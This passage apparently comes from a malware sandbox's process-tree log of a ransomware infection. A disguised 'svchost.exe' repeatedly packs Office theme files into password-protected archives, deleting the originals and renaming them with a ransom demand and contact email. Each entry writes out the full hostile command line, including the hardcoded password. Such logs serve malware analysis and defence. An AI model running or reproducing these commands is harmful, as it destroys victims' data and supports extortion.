                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\EDGE\THMBNAIL.PNG(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\EDGE\THMBNAIL.PNG" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1096
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\EVRGREEN\THMBNAIL.PNG(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\EVRGREEN\THMBNAIL.PNG" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5092
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\EXPEDITN\THMBNAIL.PNG(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\EXPEDITN\THMBNAIL.PNG" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2300
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\ICE\THMBNAIL.PNG(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\ICE\THMBNAIL.PNG" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1640
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\INDUST\THMBNAIL.PNG(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\INDUST\THMBNAIL.PNG" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4784
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\IRIS\THMBNAIL.PNG(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\IRIS\THMBNAIL.PNG" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2096
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\JOURNAL\THMBNAIL.PNG(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\JOURNAL\THMBNAIL.PNG" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5148
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\LAYERS\THMBNAIL.PNG(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\LAYERS\THMBNAIL.PNG" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4652
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\LEVEL\THMBNAIL.PNG(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\LEVEL\THMBNAIL.PNG" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5664
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\NETWORK\THMBNAIL.PNG(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\NETWORK\THMBNAIL.PNG" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5868
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\PAPYRUS\THMBNAIL.PNG(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\PAPYRUS\THMBNAIL.PNG" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:3084
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\PIXEL\THMBNAIL.PNG(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\PIXEL\THMBNAIL.PNG" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:6088
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\PROFILE\THMBNAIL.PNG(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\PROFILE\THMBNAIL.PNG" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5680
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\QUAD\THMBNAIL.PNG(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\QUAD\THMBNAIL.PNG" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:3616
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\RADIAL\THMBNAIL.PNG(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\RADIAL\THMBNAIL.PNG" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:4744
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\REFINED\THMBNAIL.PNG(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\REFINED\THMBNAIL.PNG" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:6108
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\RICEPAPR\THMBNAIL.PNG(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\RICEPAPR\THMBNAIL.PNG" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5476
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\RIPPLE\THMBNAIL.PNG(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\RIPPLE\THMBNAIL.PNG" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:3816
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\RMNSQUE\THMBNAIL.PNG(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\RMNSQUE\THMBNAIL.PNG" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2396
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\SATIN\THMBNAIL.PNG(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\SATIN\THMBNAIL.PNG" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:116
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\SKY\THMBNAIL.PNG(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\SKY\THMBNAIL.PNG" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:388
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\SLATE\THMBNAIL.PNG(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\SLATE\THMBNAIL.PNG" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:396
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\SONORA\THMBNAIL.PNG(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\SONORA\THMBNAIL.PNG" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2056
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\SPRING\THMBNAIL.PNG(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\SPRING\THMBNAIL.PNG" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2648
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
